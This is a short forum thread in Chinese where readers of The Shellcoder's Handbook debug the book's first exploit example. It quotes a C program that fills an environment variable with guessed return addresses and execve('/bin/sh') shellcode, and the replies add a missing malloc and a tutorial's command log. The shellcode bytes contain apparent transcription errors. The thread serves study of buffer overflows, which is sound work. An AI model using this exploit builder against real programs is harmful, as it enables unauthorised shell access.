首页
社区
课程
招聘
[讨论]关于 The Shellcoder's Handbook 书中1例的疑问?
发表于: 2008-7-22 16:36 6347

[讨论]关于 The Shellcoder's Handbook 书中1例的疑问?

2008-7-22 16:36
6347
首先感谢arhat大侠的翻译工作。
不过书中第一个生成shellcode的buf的示例程序我觉得有问题,所以在这里请教一下。
英文版第25页,中文版第21页,程序代码如下:
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void){
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize =atoi(argv[1]);
if (argc > 2) offset =atoi(argv[2]);
addr = find_start() – offset;           //<---------书后面的shell的输入中,argc都是2,这样offset为0,减这个offset是没有意义的,并没有改变shellcode的地址。结果是按书后面每次的shell操作示例后addr都是同一个值,不可能在只有一个参数时猜到shellcode的地址的。
printf("Attempting address:0x%x\n", addr);
ptr = buff;                                 //<---------这里buff本身并未初始化,怎么能用来给另一个指针赋值
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0;i< strlen(sc);i++)
*(ptr++) = sc[i];
buff(bsize-1) = ‘\0’;
memcpy(buff,”BUF=”,4);
putenv(buff);
system(“/bin/bash”);
}

2个问题我已经作为注释标在程序对应行的后面,请大侠指点

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 113
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
晕死,我学商务英语的看不懂
2008-7-22 19:51
0
雪    币: 208
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
不用看英文啊,中文版是一样的
2008-7-23 18:12
0
雪    币: 208
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
这就叫做帖沉大海啊
2008-7-27 15:38
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我在看第二版里也遇到同样的问题。

buff的问题已经确认是少了一段内存分配的代码

if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
}

但第一个问题我也没搞清楚,后天在网上又看到一篇文章,
链接:http://www.wntrmute.com/docs/hack/learning%20and%20exploiting%20buffer%20overflows.htm

里面提到
[I]Now we can try to guess the offset (bufferaddress = stackpointer + offset).

[bubbles]$ exploit1 600

Using address: 0xbffff6c3

[bubbles]$ ./hole $BUF

[bubbles]$ exploit1 600 100

Using address: 0xbffffce6

[bubbles]$ ./hole $BUF

segmentation fault[/I]

更糊涂了,应该是bufferaddress = stackpointer - offset吧,因为栈里向低地址生长的。
2010-7-10 12:22
0
雪    币: 208
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
没看楼上的给的连接,不过我理解stackpointer应该是当前栈指针,已经分配的buf肯定在这个指针的上面,因为栈上任何有效内容都是在当前栈指针的上面了,所以那个加号应该是正确的。
2010-7-29 23:26
0
游客
登录 | 注册 方可回帖
返回
//